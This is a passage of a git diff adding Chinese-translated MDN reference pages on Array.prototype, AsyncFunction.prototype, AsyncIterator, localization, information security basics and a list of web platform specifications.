在 JavaScript 中,很多的数组方法被故意设计成是通用的。也就是说,那些看起来像是数组的对象(类数组对象),即拥有一个 length 属性,以及对应的索引属性(也就是数字类型的属性,比如 obj[5])的非数组对象也是可以调用那些数组方法的。其中一些数组方法,比如说 {{jsxref("Array.join", "join")}} 方法,它们只会单纯的读取当前对象的 length 属性和索引属性的值,并不会尝试去改变这些属性的值。而另外一些数组方法,比如说 {{jsxref("Array.reverse", "reverse")}} 方法,它们会尝试修改那些属性的值,因此,如果当前对象是个 {{jsxref("String")}} 对象,那么这些方法在执行时就会报错,因为字符串对象的 length 属性和索引属性都是只读的。

+ +

规范

+ + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('ES1')}}{{Spec2('ES1')}}Initial definition.
{{SpecName('ES5.1', '#sec-15.4.3.1', 'Array.prototype')}}{{Spec2('ES5.1')}}
{{SpecName('ES6', '#sec-array.prototype', 'Array.prototype')}}{{Spec2('ES6')}}
+ +

浏览器兼容性

+ +
+
+ + +

{{Compat("javascript.builtins.Array.prototype")}}

+
+
+ +

相关链接

+ +
    +
  • {{jsxref("Array")}}
  • +
  • {{jsxref("Function.prototype")}}
  • +
diff --git a/files/zh-cn/orphaned/web/javascript/reference/global_objects/asyncfunction/prototype/index.html b/files/zh-cn/orphaned/web/javascript/reference/global_objects/asyncfunction/prototype/index.html new file mode 100644 index 0000000000..9a8678680a --- /dev/null +++ b/files/zh-cn/orphaned/web/javascript/reference/global_objects/asyncfunction/prototype/index.html @@ -0,0 +1,57 @@ +--- +title: AsyncFunction.prototype +slug: Web/JavaScript/Reference/Global_Objects/AsyncFunction/prototype +translation_of: Web/JavaScript/Reference/Global_Objects/AsyncFunction/prototype +--- +
{{JSRef}}
+ +

AsyncFunction.prototype 属性表示 {{jsxref("AsyncFunction")}} 的原型对象。

+ +

描述

+ +

{{jsxref("AsyncFunction")}} 对象继承自 AsyncFunction.prototypeAsyncFunction.prototype 不能被修改。

+ +

属性

+ +
+
AsyncFunction.constructor
+
默认值为 {{jsxref("AsyncFunction")}}。
+
AsyncFunction.prototype[@@toStringTag]
+
返回 "AsyncFunction"。
+
+ +

规范

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('ESDraft', '#sec-async-function-constructor-prototype', 'AsyncFunction.prototype')}}{{Spec2('ESDraft')}}最初定义在ES2017.
+ +

兼容性

+ +
+
+ + +

{{Compat("javascript.builtins.AsyncFunction.prototype")}}

+
+
+ +

参见

+ +
    +
  • {{jsxref("AsyncFunction")}}
  • +
  • {{jsxref("Function")}}
  • +
diff --git a/files/zh-cn/orphaned/web/javascript/reference/global_objects/asynciterator/index.html b/files/zh-cn/orphaned/web/javascript/reference/global_objects/asynciterator/index.html new file mode 100644 index 0000000000..9c14e462bd --- /dev/null +++ b/files/zh-cn/orphaned/web/javascript/reference/global_objects/asynciterator/index.html @@ -0,0 +1,119 @@ +--- +title: AsyncIterator +slug: Web/JavaScript/Reference/Global_Objects/AsyncIterator +tags: + - 异步迭代器 + - 类 +translation_of: Web/JavaScript/Reference/Global_Objects/AsyncIterator +--- +

{{JSRef}}{{Draft}}

+ +

AsyncIterator 全局对象是一个提供辅助方法的抽象类,与暴露在{{JSxRef("Array")}} 实例上的那些类似。

+ +

构造函数

+ +
+
{{JSxRef("AsyncIterator.AsyncIterator", "AsyncIterator()")}} 
+
一个抽象构造函数,仅能够通过 {{JSxRef("Operators/super", "super()")}} 来调用。
+
+ +

属性

+ +
+
AsyncIterator.prototype
+
%AsyncIteratorPrototype% 内部对象。
+
+ +

方法

+ +
+
{{JSxRef("AsyncIterator.from()")}} 
+
等同于在传入的对象上调用 @@asyncIterator 。
+
+ +

AsyncIterator 原型

+ +

原型属性

+ +
+
AsyncIterator.prototype.constructor
+
指定创建对的象原型的函数.
+
AsyncIterator.prototype[@@toStringTag] 
+
字符串 "Iterator".
+
+ +

原型方法

+ +
+
{{JSxRef("AsyncIterator.prototype.map()")}} 
+
...
+
{{JSxRef("AsyncIterator.prototype.filter()")}} 
+
...
+
{{JSxRef("AsyncIterator.prototype.take()")}} 
+
...
+
{{JSxRef("AsyncIterator.prototype.drop()")}} 
+
...
+
{{JSxRef("AsyncIterator.prototype.asIndexedPairs()")}} 
+
...
+
{{JSxRef("AsyncIterator.prototype.flatMap()")}} 
+
...
+
{{JSxRef("AsyncIterator.prototype.reduce()")}} 
+
...
+
{{JSxRef("AsyncIterator.prototype.toArray()")}} 
+
...
+
{{JSxRef("AsyncIterator.prototype.forEach()")}} 
+
...
+
{{JSxRef("AsyncIterator.prototype.some()")}} 
+
...
+
{{JSxRef("AsyncIterator.prototype.every()")}} 
+
...
+
{{JSxRef("AsyncIterator.prototype.find()")}} 
+
...
+
{{JSxRef("AsyncIterator.prototype.@@iterator()", "AsyncIterator.prototype[@@iterator]()")}}
+
返回该 AsyncIterator 实例。
+
+ +

实现方法

+ +
+
{{JSxRef("AsyncIterator.prototype.next()", "<implementation>.prototype.next()")}}
+
获取 AsyncIterator 中的下一项
+
{{JSxRef("AsyncIterator.prototype.return()", "<implementation>.prototype.next()")}}{{Optional_Inline}}
+
返回给出的值,并结束迭代。
+
{{JSxRef("AsyncIterator.prototype.throw()", "<implementation>.prototype.next()")}}{{Optional_Inline}}
+
抛出一个迭代器错误(同时也终止了迭代器,除非是在该迭代器内部被捕获)。
+
+ +

规范

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
ESNext Iterator Helpers ProposalStage 2 DraftInitial definition
+ +

浏览器兼容性

+ + + +

{{Compat("javascript.builtins.AsyncIterator")}}

+ +

另请参阅

+ +
    +
  • {{JSxRef("Iteration_protocols", "Iteration protocols", "", "1")}}
  • +
  • {{JSxRef("Generator")}}
  • +
  • {{JSxRef("Global_Objects/AsyncGenerator", "AsyncGenerator")}}
  • +
  • {{JSxRef("Iterator")}} 
  • +
diff --git a/files/zh-cn/orphaned/web/localization/index.html b/files/zh-cn/orphaned/web/localization/index.html new file mode 100644 index 0000000000..0bc89e00c7 --- /dev/null +++ b/files/zh-cn/orphaned/web/localization/index.html @@ -0,0 +1,36 @@ +--- +title: 本地化和全球化 +slug: Web/Localization +translation_of: Web/Localization +--- +

本地化(通常缩写为 L10n)能够使网站、Web应用或任何其他形式的内容适用于特定语言的范围和文化圈。国际化(通常缩写为 I18n)被设计用来使网站或应用程序尽可能的实现本地化。

+ +
+
+

指南和教程

+ +

指南和教程可帮助您学习如何确保您的项目已准备好全球化,以及如何将其本地化。

+ +
+
国际化概念
+
概述什么是国际化(i18n)以及可用于Web开发人员的哪些功能和技术可用于确保您的内容准备好进行本地化。
+
本地化简介
+
关于本地化网站或应用程序的入门指南,从确定需要检查和可能更改的因素到实际应用所需的更改。
+
Unicode双向文本算法(译者注:尚未翻译)
+
Unicode双向算法是用于确定Unicode文本的呈现顺序的标准算法,而Web浏览器在呈现内容时使用它。 本概述将使您对{{Glossary("BiDi")}}算法及其对您的国际化工作有何影响。
+
+
+ +
+

参考

+ +

参考资料将在您创建可本地化的站点时提供帮助。

+ +
+
可用于i18n和l10n的HTML元素
+
对HTML提供的元素的引用,这些元素可用于创建准备本地化的内容。
+
CSS和本地化
+
对CSS属性的参考,在生成支持10n的内容时特别重要。
+
+
+
diff --git a/files/zh-cn/orphaned/web/security/information_security_basics/index.html b/files/zh-cn/orphaned/web/security/information_security_basics/index.html new file mode 100644 index 0000000000..d9c1f0769f --- /dev/null +++ b/files/zh-cn/orphaned/web/security/information_security_basics/index.html @@ -0,0 +1,28 @@ +--- +title: 信息安全基础 +slug: Web/Security/Information_Security_Basics +translation_of: Web/Security/Information_Security_Basics +--- +

了解安全基础知识有助于你了解整个Web开发生命周期中安全性的作用和重要性。 这将帮助你避免不必要的不安全软件,使得攻击者利用漏洞获得经济利益或其他恶意用途。以下的文章提供一些基本的Web安全理论和定义。

+ +
+
机密性、完整性和可用性
+
描述了信息安全的基本目标,是理解信息安全的基础。
+
漏洞
+
明确主要漏洞策略以及讨论在所有软件中的存在的所有漏洞。
+
威胁 - Threats
+
对主要威胁概念的简单介绍。
+
安全控制 - Security Controls
+
明确主要安全控制策略以及它们潜在的缺点。
+
TCP/IP 安全
+
TCP/IP模型的介绍,还有SSL的教程。
+
+ +

相关链接

+ + diff --git a/files/zh-cn/orphaned/web/specification_list/index.html b/files/zh-cn/orphaned/web/specification_list/index.html new file mode 100644 index 0000000000..992d8c3814 --- /dev/null +++ b/files/zh-cn/orphaned/web/specification_list/index.html @@ -0,0 +1,405 @@ +--- +title: 规范列表 +slug: Specification_List +translation_of: Web/Specification_list +--- +

开放式Web平台(The Open Web Platform)是由一些列的规范组成的,本页面列出了这些规范,以及规范中各个词条所在的MDN页面.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusAPI IntroductionTutorialReference
{{ SpecName("HTML WHATWG") }}{{ Spec2("HTML WHATWG") }}  +
    +
  • Constraint Validation
  • +
  • Microdata API
  • +
  • Browsing context (that is _blank, ...)
  • +
  • Session History
  • +
  • Offline Web Applications (appcache)
  • +
  • Drag and Drop
  • +
+
+

The HTML Elements.
+ HTML element-related interfaces:
+ {{domxref("HTMLElement")}} {{domxref("HTMLUnknownElement")}} {{domxref("HTMLHtmlElement")}} {{domxref("HTMLHeadElement")}} {{domxref("HTMLTitleElement")}} {{domxref("HTMLBaseElement")}} {{domxref("HTMLLinkElement")}} {{domxref("HTMLMetaElement")}} {{domxref("HTMLStyleElement")}} {{domxref("HTMLScriptElement")}} {{domxref("HTMLBodyElement")}} {{domxref("HTMLHeadingElement")}} {{domxref("HTMLParagraphElement")}} {{domxref("HTMLHRElement")}} {{domxref("HTMLPreElement")}} {{domxref("HTMLQuoteElement")}} {{domxref("HTMLOListElement")}} {{domxref("HTMLUListElement")}} {{domxref("HTMLLIElement")}} {{domxref("HTMLDListElement")}} {{domxref("HTMLDivElement")}} {{domxref("HTMLAnchorElement")}} {{domxref("HTMLDataElement")}} {{domxref("HTMLTimeElement")}} {{domxref("HTMLSpanElement")}} {{domxref("HTMLBRElement")}} {{domxref("HTMLModElement")}} {{domxref("HTMLImageElement")}} {{domxref("HTMLIFrameElement")}} {{domxref("HTMLEmbedElement")}} {{domxref("HTMLObjectElement")}} {{domxref("HTMLParamElement")}} {{domxref("HTMLVideoElement")}} {{domxref("HTMLAudioElement")}} {{domxref("HTMLMediaElement")}} {{domxref("HTMLSourceElement")}} {{domxref("HTMLTrackElement")}} {{domxref("HTMLCanvasElement")}} {{domxref("HTMLMapElement")}} {{domxref("HTMLAreaElement")}} {{domxref("HTMLTableElement")}} {{domxref("HTMLTableCaptionElement")}} {{domxref("HTMLTableColElement")}} {{domxref("HTMLTableSectionElement")}} {{domxref("HTMLTableRowElement")}} {{domxref("HTMLTableDataCellElement")}} {{domxref("HTMLTableHeaderCellElement")}} {{domxref("HTMLFormElement")}} {{domxref("HTMLFieldSetElement")}} {{domxref("HTMLLegendElement")}} {{domxref("HTMLInputElement")}} {{domxref("HTMLButtonElement")}} {{domxref("HTMLSelectElement")}} {{domxref("HTMLDataListElement")}} {{domxref("HTMLOptGroupElement")}} {{domxref("HTMLOptionElement")}} {{domxref("HTMLTextAreaElement")}} {{domxref("HTMLKeygenElement")}} {{domxref("HTMLOutputElement")}} {{domxref("HTMLProgressElement")}} {{domxref("HTMLMeterElement")}} {{domxref("HTMLDetailsElement")}} {{domxref("HTMLMenuElement")}} {{domxref("HTMLMenuItemElement")}} {{domxref("HTMLDialogElement")}} {{domxref("HTMLAppletElement")}} (obsolete) {{domxref("HTMLMarqueeElement")}} (obsolete) {{domxref("HTMLFrameSetElement")}} (obsolete) {{domxref("HTMLFrameElement")}} (obsolete) {{domxref("HTMLDirectoryElement")}} (obsolete) {{domxref("HTMLFontElement")}} (obsolete)
+ Other DOM-related interfaces/events/... :
+ {{domxref("HTMLAllCollection")}} {{domxref("HTMLFormControlsCollection")}} {{domxref("HTMLOptionsCollection")}} {{domxref("HTMLPropertiesCollection")}} {{domxref("RadioNodeList")}} {{domxref("DOMStringMap")}} {{domxref("DOMElementMap")}} {{domxref("ImageData")}} {{domxref("ImageBitmap")}} {{domxref("WindowEventHandlers")}}  {{domxref("Document.location")}} {{domxref("Document.domain")}} {{domxref("Document.referrer")}} {{domxref("Document.cookie")}} {{domxref("Document.lastModified")}} {{domxref("Document.readyState")}} Document getter? {{domxref("Document.title")}} {{domxref("Document.dir")}} {{domxref("Document.body")}} {{domxref("Document.head")}} {{domxref("Document.images")}} {{domxref("Document.embeds")}} {{domxref("Document.plugins")}} {{domxref("Document.forms")}}  {{domxref("Document.scripts")}} {{domxref("Document.getElementsByName()")}} {{domxref("Document.getItems()")}} {{domxref("Document.cssElementMap")}} {{domxref("Document.currentScript")}} {{domxref("Document.open()")}} (2x) {{domxref("Document.close()")}} {{domxref("Document.write()")}} {{domxref("Document.writeln()")}} {{domxref("Document.defaultView")}} {{domxref("Document.activeElement")}} {{domxref("Document.hasFocus()")}} {{domxref("Document.designMode")}} {{domxref("Document.execCommand()")}} {{domxref("Document.queryCommandEnabled()")}} {{domxref("Document.queryCommandIndeterm()")}} {{domxref("Document.queryCommandState()")}} {{domxref("Document.queryCommandValue()")}} {{domxref("Document.commands")}} {{domxref("Document.onreadystatechange")}} (+Document obsolete members) {{event("readystatechange")}} (event) {{domxref("GlobalEventHandlers")}} {{domxref("MediaError")}} {{domxref("AudioTrackList")}} {{domxref("VideoTrackList")}} {{domxref("AudioTrack")}} {{domxref("VideoTrack")}} {{domxref("MediaController")}} {{event("playing")}} (event) {{event("waiting")}} (event) {{event("ended")}} (event) {{event("emptied")}} (event) {{event("loadedmetadata")}} (event) {{event("loadeddata")}} (event) {{event("canplay")}} (event) {{event("canplaythrough")}} (event) {{event("durationchange")}} (event) {{event("timeupdate")}} (event) {{event("play")}} (event) {{event("pause")}} (event) {{event("ratechange")}} (event) {{event("valuechange")}} (event) {{domxref("TextTrackList")}} {{event("addtrack")}} (event) {{event("removetrack")}} (event) {{domxref("TextTrack")}} {{event("cuechange")}} (event) {{domxref("TextTrackCueList")}} {{domxref("TextTrackCue")}} {{event("enter")}} (event) {{event("exit")}} (event) {{domxref("TimeRanges")}} {{domxref("TrackEvent")}} {{domxref("CanvasProxy")}} {{domxref("CanvasRenderingContext2D")}} {{domxref("CanvasGradient")}} {{domxref("CanvasPattern")}} {{domxref("TextMetrics")}} {{domxref("DrawingStyle")}} {{domxref("CanvasDrawingStyles")}} {{domxref("Path")}} {{domxref("CanvasPathMethods")}} {{domxref("Screen.canvasResolution")}} {{domxref("RelatedEvent")}} {{cssxref("anchor-point")}} {{domxref("Window.window")}} {{domxref("Window.self")}} {{domxref("Window.document")}} {{domxref("Window.name")}} {{domxref("Window.location")}} {{domxref("Window.history")}} {{domxref("Window.locationbar")}} {{domxref("Window.menubar")}} {{domxref("Window.personalbar")}} {{domxref("Window.scrollbars")}} {{domxref("Window.statusbar")}} {{domxref("Window.toolbar")}} {{domxref("Window.status")}} {{domxref("Window.close()")}} {{domxref("Window.stop()")}} {{domxref("Window.focus()")}} {{domxref("Window.blur()")}} {{domxref("Window.frames")}} {{domxref("Window.length")}} {{domxref("Window.top")}} {{domxref("Window.opener")}} {{domxref("Window.parent")}} {{domxref("Window.frameElement")}} {{domxref("Window.open()")}} getter WindowProxy getter Object {{domxref("Window.navigator")}} {{domxref("Window.external")}} {{domxref("Window.applicationCache")}} {{domxref("Window.statusbar")}} {{domxref("Window.alert()")}} {{domxref("Window.confirm()")}} {{domxref("Window.prompt()")}} {{domxref("Window.print()")}} {{domxref("Window.showModalDialog()")}} {{domxref("Window.postMessage()")}} {{domxref("BarProp")}} {{domxref("Location")}} {{domxref("History")}} {{domxref("PopStateEvent")}} {{event("popstate")}} (event) {{domxref("PageTransitionEvent")}} {{event("pageshow")}} (event) {{event("pagehide")}} (event) {{domxref("HashChangeEvent")}} {{event("hashchange")}} (event) {{domxref("BeforeUnloadEvent")}} {{event("checking")}} (event, manifest) {{event("noupdate")}} (event, manifest) {{event("downloading")}} (event, manifest) {{event("progress")}} (event, manifest) {{event("cached")}} (event, manifest) {{event("updateready")}} (event, manifest) {{event("obsolete")}} (event, manifest) {{event("error")}} (event, manifest) {{domxref("WindowProxy")}} (special) {{domxref("ApplicationCache")}} {{domxref("NavigatorOnLine")}} {{domxref("WindowTimers")}} {{domxref("WindowBase64")}} {{domxref("WindowModal")}} {{domxref("Navigator")}} {{domxref("NavigatorID")}} {{domxref("NavigatorLanguage")}} {{domxref("NavigatorContentUtils")}} {{domxref("NavigatoreStorageUtils")}} {{domxref("External")}} {{domxref("ImageBitmapFactories")}} {{domxref("DataTransfer")}} {{domxref("DataTransferItemList")}} {{domxref("DataTransferItem")}} {{domxref("DragEvent")}} {{domxref("ErrorEvent")}} {{domxref("MessageEvent")}} (documented under WebSockets/WebSockets_reference ) {{domxref("MessageChannel")}} {{domxref("MessagePort")}} {{event("message")}} (event)
+ Events on any HTML*Element, Document and Window objects:
+ {{event("abort")}} {{event("cancel")}} {{event("canplay")}} {{event("canplaythrough")}} {{event("change")}} {{event("click")}} {{event("close")}} {{event("contextmenu")}} {{event("cuechange")}} {{event("dblclick")}} {{event("drag")}} {{event("dragend")}} {{event("dragenter")}} {{event("dragexit")}} {{event("dragleave")}} {{event("dragover")}} {{event("dragstart")}} {{event("drop")}} {{event("durationchange")}} {{event("emptied")}} {{event("ended")}} {{event("input")}} {{event("invalid")}} {{event("keydown")}} {{event("keypress")}} {{event("keyup")}} {{event("loadeddata")}} {{event("loadedmetadata")}} {{event("loadstart")}} {{event("mousedown")}} {{event("mouseenter")}} {{event("mouseleave")}} {{event("mousemove")}} {{event("mouseout")}} {{event("mouseover")}} {{event("mouseup")}} {{event("mousewheel")}} {{event("pause")}} {{event("play")}} {{event("playing")}} {{event("progress")}} {{event("ratechange")}} {{event("reset")}} {{event("seeked")}} {{event("seeking")}} {{event("select")}} {{event("show")}} {{event("sort")}} {{event("stalled")}} {{event("submit")}} {{event("submit")}} {{event("suspend")}} {{event("timeupdate")}} {{event("volumechange")}} {{event("waiting")}}
+ Events on any HTML*Element (except HTMLBodyElement and HTMLFrameSetElement), Document and Window objects:
+ {{event("blur")}} {{event("error")}} {{event("focus")}} {{event("load")}} {{event("scroll")}}
+ Events on the Window objects:
+ {{event("afterprint")}} {{event("beforeprint")}} {{event("beforeunload")}} {{event("fullscreenchange")}} {{event("fullscreenerror")}} {{event("hashchange")}} {{event("message")}} {{event("offline")}} {{event("online")}} {{event("pagehide")}} {{event("pageshow")}} {{event("popstate")}} {{event("resize")}} {{event("storage")}} {{event("unload")}}
+ Events on the Document objects: {{event("readystatechange")}}

+
 CSSVariableGetting StartedCSS TutorialsThe CSS3 page list them & the CSS Reference has the list of properties, functions, pseudo-classes and pseudo-elements. Some specifications also add APIs.
+ {{SpecName("CSS3 Fonts")}}: {{domxref("CSSFontFaceRule")}} {{domxref("CSSFontFeatureValuesRule")}} {{domxref("Document.fontLoader")}} {{domxref("CSSFontFaceLoadEvent")}} {{domxref("FontLoader")}} {{event("loading")}} (event) {{event("loadingdone")}} (event) {{event("loadstart")}} (event) {{event("load")}} (evnet) {{event("error")}} (event)
+ {{SpecName("CSS3 Transitions")}}: {{domxref("TransitionEvent")}} {{event("transitionend")}} (event)
+ {{SpecName("CSS3 Animations")}}: {{domxref("AnimationEvent")}} {{event("animationstart")}} (event) {{event("animationend")}} (event) {{event("animationiteration")}} (event) {{domxref("CSSKeyframeRule")}} {{domxref("CSSKeyframesRule")}}
+ {{SpecName("CSS3 Conditional")}}: {{domxref("CSSGroupingRule")}} {{domxref("CSSConditionRule")}} {{domxref("CSSMediaRule")}} (new inheritance) {{domxref("CSSSupportsRule")}} {{domxref("CSS")}}
+ {{SpecName("CSS3 Device")}}: {{domxref("CSSViewportRule")}}
+ {{SpecName("CSS3 Variables")}}: {{domxref("CSSStyleDeclaration.CSSVariablesDeclaration")}} {{domxref("CSSVariablesDeclaration")}}
EcmaScriptVariable   
SVG    
WebGL    
MathML    
{{SpecName("DOM WHATWG") }}{{ Spec2("DOM WHATWG") }}DOM Reference  {{ domxref("Attr") }} {{ domxref("CharacterData") }} {{ domxref("ChildNode") }} {{ domxref("Comment") }} {{ domxref("CustomEvent") }} {{ domxref("Document")}} {{ domxref("DocumentFragment") }} {{ domxref("DocumentType") }} {{ domxref("DOMError") }} {{ domxref("DOMImplementation") }} {{ domxref("DOMSettableTokenList") }} {{ domxref("DOMTokenList") }} {{ domxref("Element")}} {{ domxref("Event")}} {{ domxref("EventTarget")}} {{ domxref("Future")}} {{ domxref("HTMLCollection") }} {{ domxref("MutationObserver")}} {{ domxref("MutationRecord")}} {{ domxref("Node") }} {{ domxref("NodeFilter") }} {{ domxref("NodeIterator") }} {{ domxref("NodeList") }} {{ domxref("ParentNode")}} {{ domxref("ProcessingInstruction") }} {{ domxref("Text") }} {{ domxref("TimeRanges") }} {{ domxref("Treewalker") }} {{ domxref("XMLDocument")}}
{{SpecName("CSSOM")}}{{ Spec2("CSSOM")}}CSSOM {{domxref("MediaList")}} {{domxref("Stylesheet")}} {{domxref("CSSStylesheet")}} {{domxref("StylesheetList")}} {{domxref("Document.styleSheets")}} {{domxref("Document.selectedStyleSheetSet")}} {{domxref("Document.lastStyleSheetSet")}} {{domxref("Document.preferredStyleSheetSet")}} {{domxref("Document.styleSheetSets")}} {{domxref("Document.enableStyleSheetsForSet()")}} {{domxref("LinkStyle")}} {{domxref("CSSRuleList")}} {{domxref("CSSRule")}} {{domxref("CSSCharsetRule")}} {{domxref("CSSImportRule")}} {{domxref("CSSMediaRule")}} {{domxref("CSSFontFaceRule")}} {{domxref("CSSPageRule")}} {{domxref("CSSNamespaceRule")}} {{domxref("CSSStyleDeclaration")}} {{domxref("ElementCSSInlineStyle")}} {{domxref("Window.getComputedStyle()")}} {{domxref("Window.getDefaultComputedStyle()")}}
{{SpecName("CSSOM View")}}{{ Spec2("CSSOM View")}}  {{domxref("Window.matchMedia()")}} {{domxref("Window.screen")}} {{domxref("Window.innerHeight")}} {{domxref("Window.innerWidth")}} {{domxref("Window.scrollX")}} {{domxref("Window.scrollY")}} {{domxref("Window.pageXOffset")}} {{domxref("Window.pageYOffset")}} {{domxref("Window.scroll()")}} {{domxref("Window.scrollTo()")}} {{domxref("Window.scrollBy()")}} {{domxref("Window.screenX")}} {{domxref("Window.screenY")}} {{domxref("Window.outerWidth")}} {{domxref("Window.outerHeight")}} {{domxref("MediaQueryList")}} {{domxref("Screen")}} {{domxref("Document.elementFromPoint()")}} {{domxref("Document.caretPositionFromPoint()")}} {{domxref("CaretPosition")}} {{domxref("MediaList")}} {{domxref("MediaQueryListListener")}} {{domxref("HTMLElement.offsetParent")}} {{domxref("HTMLElement.offsetTop")}} {{domxref("HTMLElement.offsetLeft")}} {{domxref("HTMLElement.offsetWidth")}} {{domxref("HTMLElement.offsetRight")}} {{domxref("Element.getClientRects()")}} {{domxref("Element.getBoundingClientRect()")}} {{domxref("Element.scrollIntoView()")}} {{domxref("Element.scrollTop")}} {{domxref("Element.scrollLeft")}} {{domxref("Element.scrollWidth")}} {{domxref("Element.scrollHeight")}} {{domxref("Element.clientTop")}} {{domxref("Element.clientLeft")}} {{domxref("Element.clientWidth")}} {{domxref("Element.clientHeight")}} {{domxref("Range.getClientRects()")}} {{domxref("Range.getBoundingClientRect()")}} {{domxref("MouseEvent.screenX")}} {{domxref("MouseEvent.screenY")}} {{domxref("MouseEvent.pageX")}} {{domxref("MouseEvent.pageY")}} {{domxref("MouseEvent.clientX")}} {{domxref("MouseEvent.clientY")}} {{domxref("MouseEvent.x")}} {{domxref("MouseEvent.y")}} {{domxref("MouseEvent.offsetX")}} {{domxref("MouseEvent.offsetY")}} {{domxref("ClientRectList")}} {{domxref("ClientRect")}}
{{SpecName("Web Workers")}} (also in WHATWG HTML){{ Spec2("Web Workers")}}  {{domxref("WorkerGlobalScope")}} {{domxref("DedicatedWorkerGlobalScope")}} {{domxref("SharedWorkerGlobalScope")}} {{domxref("AbstractWorker")}} {{domxref("Worker")}} {{domxref("SharedWorker")}} {{domxref("WorkerNavigator")}} {{domxref("WorkerUtils")}} {{domxref("WorkerLocation")}}
{{SpecName("Element Traversal")}}{{Spec2("Element Traversal")}}  {{domxref("ElementTraversal")}}
{{SpecName("File API")}}{{Spec2("File API")}}  {{domxref("File")}} {{domxref("Blob")}} {{domxref("FileList")}} {{domxref("FileReader")}} {{domxref("FileReaderSync")}}
{{SpecName("Fullscreen")}}{{Spec2("Fullscreen")}} Using fullscreen mode{{cssxref(":fullscreen")}} {{cssxref("::backdrop")}} {{domxref("Element.requestFullscreen()")}}  {{domxref("Document.fullscreenEnabled")}} {{domxref("Document.fullscreenElement")}} {{domxref("Document.exitFullscreen()")}} {{domxref("Document.onfullscreenchange()")}} {{domxref("Document.onfullscreenerror()")}} {{event("fullscreenchange")}} (event) {{event("fullscreenerror")}} (event)
{{SpecName("IndexedDB")}}{{Spec2("IndexedDB")}}IndexedDBUsing IndexedDB Using IndexedDB in chrome{{domxref("IDBDatabase")}} {{domxref("IDBObjectStore")}} {{domxref("IDBIndex")}} {{domxref("IDBRequest")}} {{domxref("IDBTransaction")}} {{domxref("IDBFactory")}} {{domxref("IDBKeyRange")}} {{domxref("IDBCursor")}} {{domxref("IDBObjectStoreParameters")}} {{domxref("IDBIndexParameters")}} {{domxref("IDBOpenDBRequest")}} {{domxref("IDBVersionChangeEvent")}} {{domxref("IDBEnvironment")}} {{domxref("Window")}} (new inheritance) {{domxref("WorkerUtils")}} (new inheritance) {{domxref("IDBCursorWithValue")}} {{domxref("IDBTransactionMode")}} {{domxref("IDBCursorWithValueSync")}}
{{SpecName("Web Audio API")}}{{Spec2("Web Audio API")}}  {{domxref("AnalyserNode")}} {{domxref("AudioBuffer")}} {{domxref("AudioBufferSourceNode")}} {{domxref("AudioContext")}} AudioDestinationNode {{domxref("AudioListener")}} {{domxref("AudioNode")}} {{domxref("AudioParam")}} {{event("audioprocess")}} (event) {{domxref("AudioProcessingEvent")}} {{domxref("BiquadFilterNode")}} ChannelMergerNode ChannelSplitterNode complete (event) ConvolverNode {{domxref("DelayNode")}}{{domxref("DynamicsCompressorNode")}} ended (event) {{domxref("GainNode")}} MediaElementAudioSourceNode MediaStreamAudioDestinationNode MediaStreamAudioSourceNode OfflineAudioCompletionEvent OfflineAudioContext OscillatorNode {{domxref("PannerNode")}} {{domxref("ScriptProcessorNode")}} WaveShaperNode WaveTable
{{SpecName("WebRTC 1.0")}}{{Spec2("WebRTC 1.0")}}  {{domxref("RTCConfiguration")}} {{domxref("RTCIceServer")}} {{domxref("RTCPeerConnection")}} {{domxref("RTCError")}} {{domxref("RTCSdpError")}} {{domxref("RTCSessionDescription")}} {{domxref("RTCIceCandidate")}} {{domxref("RTCPeerConnectionIceEvent")}} {{domxref("RTCDataChannel")}} {{domxref("RTCDataChannelEvent")}} {{domxref("RTCDTMFSender")}} {{domxref("RTCToneChangeEvent")}} {{domxref("MediaStreamEvent")}}
{{SpecName("Media Capture")}}{{Spec2("Media Capture")}}   
{{SpecName("MediaStream Recording")}}{{Spec2("MediaStream Recording")}}  {{domxref("MediaRecorder")}} {{event("start")}} (event) {{event("stop")}} (event) {{event("dataavailable")}} (event) {{event("pause")}} (event) {{event("resume")}} (event) {{event("error")}} (event) {{event("warning")}} (event) {{domxref("BlobEvent")}} {{domxref("RecordingError")}}
{{SpecName("Pointer Lock")}}{{Spec2("Pointer Lock")}} Pointer Lock API{{event("pointerlockchange")}} (event) {{event("pointerlockerror")}} (event) {{domxref("Element.requestPointerLock")}}  {{domxref("Document.onpointerlockchange")}} {{domxref("Document.onpointerlockerror")}} {{domxref("Document.pointerLockElement")}} {{domxref("Document.exitPointerLock()")}} {{domxref("MouseEvent.movementX")}} {{domxref("MouseEvent.movementY")}}
{{SpecName("Vibration API")}}{{Spec2("Vibration API")}} Vibration API{{domxref("Vibration")}} {{domxref("window.navigator.vibrate()")}}
{{SpecName("Battery API")}}{{Spec2("Battery API")}}Battery Status API {{domxref("window.navigator.battery")}} {{domxref("BatteryManager")}} {{event("chargingchange")}} (event) {{event("chargingtimechange")}} (event) {{event("dischargingtimechange")}} (event) {{event("levelchange")}} (event)
{{SpecName("Geolocation")}}{{Spec2("Geolocation")}} Using geolocation{{domxref("NavigatorGeolocation")}} {{domxref("Geolocation")}} {{domxref("window.navigator.geolocation")}}  {{domxref("Positions")}} {{domxref("PositionOptions")}} {{domxref("Coordinates")}} {{domxref("PositionError")}} Note that several of these interfaces are documented under {{domxref("window.navigator.geolocation.getCurrentPosition()")}}
{{SpecName("Device Orientation")}}{{Spec2("Device Orientation")}}  {{event("deviceorientation")}} (event){{domxref("DeviceOrientationEvent")}} {{event("compassneedscalibration")}} (event) {{event("devicemotion")}} (event) {{domxref("DeviceMotionEvent")}} {{domxref("DeviceAcceleration")}} {{domxref("DeviceRotationRate")}}
